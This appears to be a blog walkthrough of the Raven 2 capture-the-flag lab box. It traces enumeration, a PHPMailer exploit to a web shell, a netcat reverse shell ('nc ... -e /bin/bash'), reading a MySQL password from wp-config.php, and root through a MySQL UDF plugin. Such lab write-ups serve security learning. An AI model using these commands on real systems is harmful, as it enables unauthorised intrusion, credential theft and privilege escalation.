Well I did Raven 1 a while back, so I decided to give Raven 2 a try. It proved to be a lot more challenging.
I started out doing the nmap scan: nmap -sC -sV -v 192.168.2.93 -oN map1
This listed an open webpage similar to last time.
Next I opened up a web browser and navigated to the page. I’ll also say that I prepped my box by adding raven.local to the /etc/hosts file. It’s not critical, as the exploit doesn’t need it, but it does help while you’re just navigating the web pages.
The page looks identical to Raven 1.
Running nikto against it shows that WordPress is still available (nikto -h 192.168.2.93). This, however, is a rabbit trail. Trying to brute force the users like in Raven 1 won’t get you anywhere and will take a long time.
To find other directories, I like to run gobuster (gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 192.168.2.93)
A directory called vendor sticks out.
In the vendor directory is a file called PATH. Let’s see what’s in it.
Inside is the first flag! It also shows the path to the web root. It’s common but we’ll make note of that for later.
Also in the vendor directory is a file called VERSION along with a lot of references to phpmailer.
The version appears to be 5.2.16. Let’s look to see if it’s vulnerable.
Using searchsploit (searchsploit phpmailer 5), I found several exploits for that version of phpmailer including a Metasploit module. The problem is that all of them failed out of the box. I ended up choosing the .pl exploit for reasons I’ll explain below.
Since none of my other enumeration provided any optional paths, I felt fairly strong that this was the way in. I just needed to figure out what was breaking the exploits.
First, I wanted to see what the web request looked like. BurpSuite helped me out there.
One of the things I clued in on right away is that the request variables were not the same as in the exploits and one was missing (the subject).
After reviewing the exploit code, it became clear that I needed a few things. I needed to edit the post fields to match what’s in Burp and I needed a read/writeable directory that was accessible to the web. I chose the .pl file because the code was simple and I could easily edit those fields along with the payload. There were two types of payloads built into this exploit. Other exploits, like Metasploit for example, didn’t have all of those as an option and I didn’t want to dig into the back end of the exploit. The funny thing is that this code is not written in perl. It’s clearly python.
The original code looks like this:
The highlighted items are all things that need to be adjusted. The php code will work fine for a test, but we’ll have to change that to exploit the box.
I changed the URL to the contact page, the php code to a command shell, set the action to submit, the name to r3a50n (I wasn’t sure if a space would cause an issue), and added a subject. I also uncommented out the first payload as I thought that was more applicable.
The read/write directory did take some discovery.
The original code put the RW directory in uploads. The problem here is that there wasn’t an uploads directory. WordPress had one though. There’s even a flag hidden there.
This seemed like a good hint for a writable directory, so I tried it out. It failed. I then tried everything along that path, backing up one directory every time. Finally, I had success in the web root directory.
My final code looked like this:
Once I launched the exploit, the code was in place.
Now we can test for code execution. By adding ?cmd=id we can see if the code executes. Viewing the web page source will make it a lot easier to read.
We have code execution. Now let’s try to get a shell. Luckily for us, a version of netcat is installed that allows reverse connections to get a shell. That makes it easy. I started up a listener (nc -nlvp 9999) then ran ?cmd=nc -nv 192.168.2.30 9999 -e /bin/bash in the command shell.
Once I hit enter I had a shell!
Now I needed to upgrade it.
python -c ‘import pty; pty.spawn(“/bin/bash”)’
Ctl z
stty raw -echo
fg
Now we have up arrow and ctl c just like a regular shell. This will be really nice later when we need to access the MySQL database
Next we’ll send over linuxprivchecker to help with privilege escalation
Set a python webserver in the directory with the priv checker script
I then moved to the tmp directory since it’s typically world writeable and used wget to transfer the file.
… And then I ran it.
Two exploits came to the top of the list. One I ruled out since it required a brute force of SSH keys and this box uses password only. The other one looked like a good candidate but we need to get the MySQL database password first.
Inside the WordPress directory is a file called wp-config.php. This file usually contains the password we need.
Cat wp-config.php | grep password -A2 displays the password R@v3nSecurity
Now let’s test it out. If you were wondering why upgrading the shell is so important, this is why. Accessing MySQL will not work in a basic shell.
Type mysql -u root -p then put in the password when prompted. This should bring you to a MySQL prompt.
In here we could extract and crack WordPress passwords, but that won’t help us at this point. For now, we can just log out of MySQL by typing quit and work on getting the exploit working.
The first thing the exploit needs is to be compiled. Gcc isn’t on the raven box so I had to compile it on my Kali host. The exploit does a good job of walking through the commands which makes it so much nicer. As nice as it is, there’s still a typo. The W1 (as in the number one) is actually Wl (as in lower case L).
After following the commands in the exploit, you should end up with a file ending in .so. Copy that file over to the raven box using python web server and wget as before.
Then continue to follow the exploit instructions using mysql.
Eventually the commands will produce an error.
The error states that it can’t fine the file and gives the path where it’s looking for it. To fix this issues, just redo previous select statement with the path provided in the error. It should read something like: select * from foo into dumpfile ‘/usr/lib/mysql/plugin/priv.so’;
Now when we run the command again we get no errors.
With that in place we should be able to run commands as root. Let’s try out the proof.
That worked! Now to get a root shell.
I just spawned another netcat listener and used the same netcat shell as before on port 8888
The command hangs as soon as it’s entered, but back in our shell window we get a connection as root!
I used python to upgrade my shell again (not necessary but it’s just nicer).
Then I went for the root flag.
That ends Raven 2. It was significantly more difficult than Raven 1. Raven 1 was basically brute force a password and then sudo for root. Version two required a lot more effort which I honestly was not expecting. Anyway, I did learn some things, which is always the goal, so that’s good.
Update 2/24/2019: I finally uploaded a video walkthrough. You can view it here. I struggled at the end because of a stupid copy/paste error but I eventually get there.
-R3a50n
